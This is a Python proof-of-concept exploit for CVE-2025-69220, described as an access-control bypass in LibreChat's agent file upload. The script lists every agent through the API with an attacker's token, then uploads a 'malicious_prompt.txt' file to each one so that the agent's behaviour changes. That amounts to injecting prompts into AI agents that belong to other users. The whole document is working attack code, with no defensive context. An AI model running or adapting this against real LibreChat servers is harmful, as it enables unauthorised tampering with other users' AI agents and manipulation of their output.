CVE-2025-69220 LibreChat 代理文件上传访问控制绕过漏洞

import requests import json # CVE-2025-69220 PoC - LibreChat Agent File Upload Access Control Bypass # This PoC demonstrates uploading files to arbitrary agents without proper authorization BASE_URL = "http://target-librechat-server.com" ATTACKER_TOKEN = "your-authenticated-user-token" TARGET_AGENT_ID = "target-agent-id-to-exploit" MALICIOUS_FILE_CONTENT = "Malicious content that will affect agent behavior" def upload_file_to_agent(agent_id, file_content): """ Upload file to agent's file context without authorization check """ url = f"{BASE_URL}/api/agents/{agent_id}/files" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "multipart/form-data" } files = { "file": ("malicious_prompt.txt", file_content, "text/plain") } response = requests.post(url, headers=headers, files=files) return response.status_code, response.text def search_agents_for_ids(): """ Enumerate agent IDs to find target agents """ url = f"{BASE_URL}/api/agents" headers = {"Authorization": f"Bearer {ATTACKER_TOKEN}"} response = requests.get(url, headers=headers) if response.status_code == 200: return json.loads(response.text) return [] def exploit(): """ Main exploitation function """ print("[*] Starting CVE-2025-69220 exploitation...") print("[*] Enumerating available agents...") agents = search_agents_for_ids() for agent in agents: agent_id = agent.get("id") print(f"[*] Attempting file upload to agent: {agent_id}") status, resp = upload_file_to_agent(agent_id, MALICIOUS_FILE_CONTENT) if status == 200 or status == 201: print(f"[+] Successfully uploaded file to agent {agent_id}") print(f"[+] Agent behavior may now be modified") if __name__ == "__main__": exploit()